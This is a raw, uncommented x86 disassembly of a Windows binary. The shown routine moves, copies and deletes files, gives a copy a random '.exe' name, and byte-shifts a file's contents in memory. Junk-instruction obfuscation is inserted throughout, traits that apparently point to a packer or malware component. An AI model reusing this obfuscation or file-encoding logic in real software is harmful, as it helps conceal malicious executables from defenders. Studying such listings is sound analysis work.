add esp, 0x20
push eax
mov ecx, 0x420420
call fcn.0040fa90
lea ecx, [ebp - 0x958]
call fcn.0040f630
mov eax, dword [0x41b6fc]
push eax
push 0x41b5b4
push 0
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00414af0
push eax
push 0
lea ecx, [ebp - 0x16c]
push ecx
push 0
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00418050
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x41b5b8
lea ecx, [ebp - 0x16c]
call fcn.004100f0
push esi
or esi, eax
mov esi, 0x2eed7791
mov esi, 0x36b913e6
pop esi
mov dword [ebp - 0x84], 6
jmp 0x4025e9
mov edx, dword [ebp - 0x84]
add edx, 1
mov dword [ebp - 0x84], edx
mov ecx, 0x4203fc
call fcn.00417ef0
cmp dword [ebp - 0x84], eax
jae 0x40266e
mov eax, dword [ebp - 0x84]
push eax
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.00417e50
sub eax, 1
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x6c
mov edx, dword [ebp - 0x84]
push edx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.00417e50
sub eax, 2
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x6c
jmp 0x4025da
push esi
sbb esi, eax
xor esi, ebx
mov esi, 0x6c553687
sub esi, edx
nop
pop esi
push 0x41b5bc
lea ecx, [ebp - 0x578]
call fcn.004100b0
mov dword [ebp - 0xbc], 0
jmp 0x4026a7
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
mov ecx, 0x4203fc
call fcn.00417ef0
cmp dword [ebp - 0xbc], eax
jae 0x402715
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b0], esp
push 0x42045c
call fcn.0040eb10
mov edx, dword [ebp - 0xbc]
push edx
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
lea eax, [ebp - 0x970]
push eax
call fcn.004075f0
add esp, 0x20
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.0040fa90
lea ecx, [ebp - 0x970]
call fcn.0040f630
jmp 0x402698
mov dword [ebp - 0x58], 0
jmp 0x402727
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov ecx, 0x420444
call fcn.00417e50
cmp dword [ebp - 0x58], eax
jae 0x4027f0
push eax
or eax, edi
mov eax, 0x41e538f1
mov eax, 0x3ce60581
pop eax
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x420444
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x2d
jne 0x40277f
mov edx, dword [ebp - 0x58]
push edx
mov ecx, 0x420444
call fcn.0040fda0
mov byte [eax], 0x6f
push edx
mov edx, 0x19d34ab1
mov edx, 0x25e13afa
xor edx, ecx
pop edx
jmp 0x4027eb
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x420444
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x40
jne 0x4027b6
mov edx, dword [ebp - 0x58]
push edx
mov ecx, 0x420444
call fcn.0040fda0
mov byte [eax], 0x5c
push edx
xor edx, eax
add edx, ebx
sub edx, edx
mov edx, 0x38116636
nop
pop edx
jmp 0x4027eb
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x420444
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x4027eb
mov edx, dword [ebp - 0x58]
push edx
mov ecx, 0x420444
call fcn.0040fda0
mov byte [eax], 0x75
push esi
sbb esi, esi
add esi, edx
sbb esi, ebx
add esi, edi
sub esi, eax
xor esi, esi
pop esi
jmp 0x40271e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b4], esp
push 0x42045c
call fcn.0040eb10
push 0x420444
lea eax, [ebp - 0x988]
push eax
call fcn.004075f0
add esp, 0x20
push eax
mov ecx, 0x420444
call fcn.0040fa90
lea ecx, [ebp - 0x988]
call fcn.0040f630
lea ecx, [ebp - 0x390]
call fcn.0040ef70
push ebp
xor ebp, ebx
sub ebp, ebx
sbb ebp, eax
mov ebp, 0x78907d8d
nop
pop ebp
lea ecx, [ebp - 0x390]
push ecx
lea edx, [ebp - 0x1b4]
push edx
call fcn.00409c00
add esp, 8
push edi
mov edi, 0x1ff1010d
mov edi, 0x4f81567
sbb edi, esi
pop edi
lea ecx, [ebp - 0x1b4]
call fcn.004144f0
movzx eax, al
test eax, eax
je 0x4029fb
push 8
lea ecx, [ebp - 0x1b4]
call fcn.004174e0
push ebx
mov ebx, 0x4dcc6ec9
sub ebx, esi
sbb ebx, ebp
sbb ebx, ecx
nop
pop ebx
mov dword [ebp - 0xf0], 0
jmp 0x4028b8
mov ecx, dword [ebp - 0xf0]
add ecx, 1
mov dword [ebp - 0xf0], ecx
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
cmp dword [ebp - 0xf0], eax
jae 0x4028fe
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
mov esi, eax
mov edx, dword [ebp - 0xf0]
push edx
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov word [eax], si
push edx
mov edx, 0x463272e7
add edx, edx
mov edx, 0x18c12553
pop edx
jmp 0x4028a9
push 0x20
lea ecx, [ebp - 0x1b4]
call fcn.00416140
push ecx
mov ecx, 0x3db4229a
or ecx, edx
sbb ecx, eax
or ecx, ecx
nop
pop ecx
push 0x20
lea ecx, [ebp - 0x1b4]
call fcn.00416140
push ecx
or ecx, eax
mov ecx, 0x63c467c8
mov ecx, 0x19765f45
pop ecx
push 0x20
lea ecx, [ebp - 0x1b4]
call fcn.00416140
push eax
mov eax, 0x3bff75ec
mov eax, 0x61756c3d
xor eax, esp
pop eax
push edi
add edi, ebx
sbb edi, eax
or edi, eax
sbb edi, ebx
sub edi, esp
sub edi, esp
pop edi
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
sub eax, 1
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov ecx, 0x65
mov word [eax], cx
push eax
sbb eax, eax
sbb eax, edx
sub eax, edi
and eax, ebp
sbb eax, ebp
add eax, esp
pop eax
push ecx
mov ecx, 0x7b6f3e32
mov ecx, 0x5640235d
add ecx, ebx
pop ecx
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
sub eax, 2
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov edx, 0x78
mov word [eax], dx
push edi
mov edi, 0x1bb3733
mov edi, 0x47596ac4
and edi, edx
pop edi
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
sub eax, 3
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov ecx, 0x65
mov word [eax], cx
push ecx
mov ecx, 0x12a048f3
or ecx, ebx
sbb ecx, ebx
sub ecx, esi
nop
pop ecx
mov dword [ebp - 0xc0], 0
jmp 0x402a16
mov edx, dword [ebp - 0xc0]
add edx, 1
mov dword [ebp - 0xc0], edx
mov ecx, 0x420438
call fcn.00417ef0
cmp dword [ebp - 0xc0], eax
jae 0x402a84
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b8], esp
push 0x42045c
call fcn.0040eb10
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, 0x420438
call fcn.0040fe40
push eax
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.004075f0
add esp, 0x20
push eax
mov edx, dword [ebp - 0xc0]
push edx
mov ecx, 0x420438
call fcn.0040fe40
mov ecx, eax
call fcn.0040fa90
lea ecx, [ebp - 0x9a0]
call fcn.0040f630
jmp 0x402a07
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x16c]
call fcn.004100d0
mov dword [ebp - 0xf4], 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
push 1
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x402af0
cmp dword [ebp - 0xf4], 5
jge 0x402af0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xf4]
add ecx, 1
mov dword [ebp - 0xf4], ecx
jmp 0x402aa0
mov dword [ebp - 0xf4], 0
push ecx
xor ecx, eax
mov ecx, 0x408d50c7
mov ecx, 0x18755698
pop ecx
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
lea ecx, [ebp - 0x270]
call fcn.0040ed50
mov dword [ebp - 0xf8], 0
jmp 0x402b42
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00417e70
cmp dword [ebp - 0xf8], eax
jae 0x402b9a
mov eax, dword [ebp - 0xf8]
push eax
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.0040fde0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x270]
call fcn.00410090
push ebx
xor ebx, edi
mov ebx, 0x2f894207
mov ebx, 0x40c92fa1
pop ebx
jmp 0x402b33
lea ecx, [ebp - 0x152]
call fcn.0040e460
push eax
lea eax, [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x270]
call fcn.004145a0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x4c0]
push edx
lea ecx, [ebp - 0x270]
call fcn.00413eb0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x378]
call fcn.0040bbd0
mov dword [ebp - 0xfc], 0
jmp 0x402bf6
mov ecx, dword [ebp - 0xfc]
add ecx, 1
mov dword [ebp - 0xfc], ecx
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00417e70
cmp dword [ebp - 0xfc], eax
jae 0x402c4c
mov edx, dword [ebp - 0xfc]
push edx
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.0040fde0
movzx eax, word [eax]
add eax, dword [ebp - 0x124]
mov dword [ebp - 0x124], eax
push ebx
sub ebx, esp
or ebx, ecx
mov ebx, 0x57fe234e
sbb ebx, edi
nop
pop ebx
jmp 0x402be7
push ebp
and ebp, esp
or ebp, edx
mov ebp, 0x665c07d2
add ebp, ebx
nop
pop ebp
mov dword [ebp - 0x100], 0
jmp 0x402c75
mov ecx, dword [ebp - 0x100]
add ecx, 1
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0x100]
cmp edx, dword [ebp - 0x124]
jge 0x402ca5
mov eax, dword [ebp - 0x128]
add eax, dword [ebp - 0x100]
mov dword [ebp - 0x128], eax
push eax
mov eax, 0x14af69ab
or eax, esi
or eax, ebx
add eax, esi
nop
pop eax
jmp 0x402c66
push eax
mov eax, 0x5f1f55c3
mov eax, 0x51434e37
xor eax, esp
pop eax
mov ecx, dword [ebp - 0x128]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.00418180
add esp, 8
lea ecx, [ebp - 0x151]
call fcn.0040e460
push eax
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x360]
call fcn.004145a0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x4c8]
push edx
lea ecx, [ebp - 0x360]
call fcn.00413eb0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x9b8]
call fcn.0040bbd0
push eax
mov ecx, 0x4203e4
call fcn.0040fc10
lea ecx, [ebp - 0x9b8]
call fcn.0040f670
push 0x800
push 0
lea ecx, [ebp - 0x31a8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x378]
call fcn.00413fd0
push eax
lea edx, [ebp - 0x11a8]
push edx
push 0x41b5c0
lea eax, [ebp - 0x31a8]
push eax
call fcn.004180a0
add esp, 0x10
push edx
or edx, eax
add edx, ebx
mov edx, 0x27705764
add edx, esi
nop
pop edx
lea ecx, [ebp - 0x378]
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.0040ee10
lea edx, [ebp - 0x4cc]
push edx
lea ecx, [ebp - 0x2e8]
call fcn.00414610
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x4d0]
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.00413f20
mov edx, dword [eax]
push edx
call fcn.0040de10
add esp, 8
push 0x800
push 0
lea eax, [ebp - 0x21a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x2e8]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x11a8]
push ecx
push 0x41b5cc
lea edx, [ebp - 0x21a8]
push edx
call fcn.004180a0
add esp, 0x10
push esi
mov esi, 0x3be007da
or esi, esp
mov esi, 0x55f44ac8
pop esi
lea ecx, [ebp - 0x348]
call fcn.0040ef70
lea eax, [ebp - 0x21a8]
push eax
lea ecx, [ebp - 0x348]
call fcn.0040fd00
push 1
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
push eax
lea ecx, [ebp - 0x9e8]
push ecx
call fcn.004078f0
add esp, 8
push eax
push 0x41b5d8
lea edx, [ebp - 0x9d0]
push edx
call fcn.0040c1b0
add esp, 0xc
push eax
lea ecx, [ebp - 0x348]
call fcn.004100d0
lea ecx, [ebp - 0x9d0]
call fcn.0040f670
lea ecx, [ebp - 0x9e8]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea ecx, [ebp - 0x378]
call fcn.00413fd0
push eax
call fcn.0040a1e0
add esp, 8
push esi
xor esi, eax
mov esi, 0x7f2c6028
mov esi, 0x267b2cd0
pop esi
push 1
lea ecx, [ebp - 0x2e8]
call fcn.00413fd0
push eax
call fcn.0040a1e0
add esp, 8
push edx
mov edx, 0x3e5143c6
sub edx, eax
mov edx, 0x481e7713
pop edx
push 0
push 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
mov ecx, 0x420408
call fcn.00413fd0
push eax
call fcn.0040abf0
add esp, 0x10
push esi
sub esi, esp
and esi, edi
sub esi, ecx
mov esi, 0x3c36595
nop
pop esi
push 0x800
push 0
lea eax, [ebp - 0x39a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebp
mov ebp, 0x57960777
sub ebp, edx
or ebp, ecx
add ebp, ebp
nop
pop ebp
mov ecx, 0x420408
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x11a8]
push ecx
push 0x41b5dc
lea edx, [ebp - 0x39a8]
push edx
call fcn.004180a0
add esp, 0x10
push ebp
mov ebp, 0x3f3019ff
mov ebp, 0x637a04f4
sbb ebp, ebp
pop ebp
push 0x420408
lea ecx, [ebp - 0x2d0]
call fcn.0040ee10
push ecx
sub ecx, edx
mov ecx, 0x2a125c2c
mov ecx, 0x39b56096
pop ecx
lea eax, [ebp - 0x4d4]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00414610
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x4d8]
push edx
lea ecx, [ebp - 0x2d0]
call fcn.00413f20
mov eax, dword [eax]
push eax
call fcn.0040de10
add esp, 8
push ebp
sbb ebp, edx
mov ebp, 0x5700050
mov ebp, 0x73944a78
pop ebp
push edx
add edx, ecx
or edx, ecx
sbb edx, ebp
mov edx, 0x2d3b5214
nop
pop edx
push 0x800
push 0
lea ecx, [ebp - 0x29a8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ecx
and ecx, esp
mov ecx, 0x4320a11
mov ecx, 0x3dd8213b
pop ecx
lea ecx, [ebp - 0x2d0]
call fcn.00413fd0
push eax
lea edx, [ebp - 0x11a8]
push edx
push str._s_s
lea eax, [ebp - 0x29a8]
push eax
call fcn.004180a0
add esp, 0x10
push edi
add edi, edx
sub edi, ecx
add edi, edx
mov edi, 0x1752176c
nop
pop edi
lea ecx, [ebp - 0x29a8]
push ecx
lea ecx, [ebp - 0x2b8]
call fcn.0040ef10
push 0x41b5f4
lea ecx, [ebp - 0x2b8]
call fcn.004100f0
lea edx, [ebp - 0x1b4]
push edx
lea ecx, [ebp - 0x2b8]
call fcn.004100d0
push edi
mov edi, 0x74b51524
mov edi, 0x2ac003e0
sub edi, edi
pop edi
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push edx
mov edx, 0x69c26c26
add edx, eax
or edx, edi
sub edx, esp
nop
pop edx
push ebx
mov ebx, 0x5b080907
mov ebx, 0x9ae5420
or ebx, edi
pop ebx
push 1
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00413fd0
push eax
call fcn.0040abf0
add esp, 0x10
push ebx
xor ebx, esi
mov ebx, 0x4b061287
mov ebx, 0x61410afe
pop ebx
lea eax, [ebp - 0x11a8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea ecx, [ebp - 0x31a8]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea edx, [ebp - 0x21a8]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x39a8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov byte [ebp - 0xd], 1
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0xcc0]
call fcn.0040e6d0
push ebx
sub ebx, edx
mov ebx, 0x28540d5b
add ebx, ecx
sbb ebx, ebx
nop
pop ebx
mov ecx, dword [ebp - 0xcc0]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
movzx eax, al
test eax, eax
je 0x4062f7
push ecx
mov ecx, 0x6fbc45d8
mov ecx, 0x54a74c48
xor ecx, ebp
pop ecx
push 2
push 0
push 0
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 0xcd8]
push ecx
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.0040fe80
mov dword [ebp - 0x40], eax
push 0
push 0
push 0
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push ecx
sbb ecx, ecx
xor ecx, ebx
mov ecx, 0x628f63e2
add ecx, ecx
nop
pop ecx
mov edx, dword [ebp - 0x40]
push edx
call fcn.00418bce
add esp, 4
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x40]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x30]
push eax
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xcc0]
call fcn.004141a0
push esi
add esi, ebp
and esi, edx
and esi, esi
add esi, esp
sub esi, esp
add esi, esp
pop esi
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x670]
call fcn.0040e9a0
mov ecx, dword [ebp - 0x670]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x670]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
movzx eax, al
test eax, eax
je 0x403263
push 0x40
push 0x32
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x670]
call fcn.00415710
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40321e
push edi
xor edi, edx
xor edi, ebx
sbb edi, edx
mov edi, 0x513b45c1
nop
pop edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4dc], esp
lea edx, [ebp - 0x270]
push edx
call fcn.0040eb10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e0], esp
lea eax, [ebp - 0x288]
push eax
call fcn.0040eb10
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.00408890
add esp, 0x38
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00406da0
add esp, 8
push ecx
mov ecx, 0x6416310f
mov ecx, 0x60e51e2a
sub ecx, ebp
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e4], esp
push 0x41b3a7
call fcn.0040ec80
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.004091b0
add esp, 0x20
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x12c], 0xa
mov ecx, dword [ebp - 0x104]
push ecx
lea edx, [ebp - 0x184]
push edx
call fcn.00418180
add esp, 8
mov dword [ebp - 0x60], 0
jmp 0x40332a
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x208]
jge 0x403867
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e8], esp
push 0x41b3af
call fcn.0040ec80
mov edx, dword [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004095a0
add esp, 0x24
mov dword [ebp - 0x1b8], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4ec], esp
push 0x41b3b5
call fcn.0040ec80
push 0
mov edx, dword [ebp - 0x1b8]
add edx, 0x18
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00408670
add esp, 0x28
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x12c]
add edx, 1
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x1b8]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x20c]
sub ecx, dword [ebp - 0x130]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x130]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.0040ece0
push ebx
mov ebx, 0x2deb4847
mov ebx, 0x382276de
xor ebx, ecx
pop ebx
mov dword [ebp - 0x108], 0
jmp 0x40340e
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x2a0]
call fcn.00417e50
cmp dword [ebp - 0x108], eax
jae 0x403461
mov ecx, dword [ebp - 0x108]
push ecx
lea ecx, [ebp - 0x2a0]
call fcn.0040fda0
mov dword [ebp - 0x1bc], eax
mov edx, dword [ebp - 0x60]
add edx, 1
and edx, reloc.WS2_32.dll_closesocket
jns 0x40344c
dec edx
or edx, 0xfffffffc
inc edx
mov eax, dword [ebp - 0x1bc]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x1bc]
mov byte [edx], cl
jmp 0x4033ff
lea ecx, [ebp - 0x548]
call fcn.0040ed50
lea ecx, [ebp - 0x2a0]
call fcn.00417e50
push eax
lea ecx, [ebp - 0x548]
call fcn.004173b0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x88], 0
jmp 0x4034a5
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x2a0]
call fcn.00417e50
cmp dword [ebp - 0x88], eax
jae 0x403547
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x60]
jne 0x403516
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x548]
call fcn.004160b0
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
push ecx
and ecx, ecx
mov ecx, 0x403d02b3
mov ecx, 0x2d0307a8
pop ecx
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
jmp 0x403496
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x548]
call fcn.004160b0
jmp 0x403496
lea edx, [ebp - 0x548]
push edx
lea eax, [ebp - 0x5c0]
push eax
call fcn.00407290
add esp, 8
push 0x3a
push 0
lea ecx, [ebp - 0x940]
push ecx
lea ecx, [ebp - 0x5c0]
call fcn.00418000
push ecx
mov ecx, 0x4aca1ec0
and ecx, edx
sbb ecx, edx
add ecx, edx
nop
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f0], esp
lea edx, [ebp - 0x360]
push edx
call fcn.0040eb10
mov eax, dword [0x41b6e0]
push eax
push 0x3a
lea ecx, [ebp - 0xa00]
push ecx
lea ecx, [ebp - 0x5c0]
call fcn.00418000
push eax
lea edx, [ebp - 0x300]
push edx
call fcn.004075f0
add esp, 0x20
lea ecx, [ebp - 0xa00]
call fcn.0040f630
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f4], esp
lea eax, [ebp - 0x270]
push eax
call fcn.0040eb10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f8], esp
lea edx, [ebp - 0x288]
push edx
call fcn.0040eb10
lea ecx, [ebp - 0x300]
call fcn.00417e50
push eax
push 0
lea ecx, [ebp - 0x300]
call fcn.0040fda0
push eax
call fcn.00408890
add esp, 0x38
lea ecx, [ebp - 0x300]
call fcn.00417e50
push eax
push 0
lea ecx, [ebp - 0x300]
call fcn.0040fda0
push eax
call fcn.00406da0
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4fc], esp
lea eax, [ebp - 0x184]
push eax
call fcn.0040eb10
lea ecx, [ebp - 0x300]
push ecx
lea edx, [ebp - 0x590]
push edx
call fcn.004075f0
add esp, 0x20
push eax
mov eax, 0x5d56b8b
mov eax, 0x43332d6
sub eax, edi
pop eax
push 0x3a
lea ecx, [ebp - 0x940]
call fcn.00413f90
push eax
push 0
lea ecx, [ebp - 0x590]
call fcn.00414e00
lea ecx, [ebp - 0x590]
call fcn.00417e50
push eax
lea ecx, [ebp - 0x590]
call fcn.00413f90
push eax
lea eax, [ebp - 0x530]
push eax
call fcn.00406fb0
add esp, 0xc
mov dword [ebp - 0x10c], 0
jmp 0x4036d7
mov ecx, dword [ebp - 0x10c]
add ecx, 1
mov dword [ebp - 0x10c], ecx
lea ecx, [ebp - 0x530]
call fcn.00417e50
cmp dword [ebp - 0x10c], eax
jae 0x403745
push eax
sub eax, ecx
mov eax, 0x67af4039
mov eax, 0x391311e5
pop eax
mov edx, dword [ebp - 0x10c]
push edx
lea ecx, [ebp - 0x530]
call fcn.0040fda0
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x60]
add eax, 1
and eax, reloc.WS2_32.dll_closesocket
jns 0x403722
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [ebp - 0x1c0]
movsx edx, byte [ecx]
add edx, eax
mov eax, dword [ebp - 0x1c0]
mov byte [eax], dl
push eax
sub eax, ebp
mov eax, 0x5bd31034
mov eax, 0x529b6ff6
pop eax
jmp 0x4036c8
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x518]
call fcn.0040ed50
mov dword [ebp - 0x110], 0
jmp 0x403772
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
lea ecx, [ebp - 0x530]
call fcn.00417e50
cmp dword [ebp - 0x110], eax
jae 0x4037e0
mov edx, dword [ebp - 0x110]
push edx
lea ecx, [ebp - 0x530]
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x518]
call fcn.004160b0
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x60]
jne 0x4037d5
mov eax, dword [ebp - 0x60]
add eax, 1
and eax, reloc.WS2_32.dll_closesocket
jns 0x4037c2
dec eax
or eax, 0xfffffffc
inc eax
push eax
lea ecx, [ebp - 0x518]
call fcn.004160b0
mov dword [ebp - 0x48], 0
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
jmp 0x403763
lea ecx, [ebp - 0x518]
call fcn.00417e50
push eax
lea ecx, [ebp - 0x518]
call fcn.00413f90
push eax
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x130]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
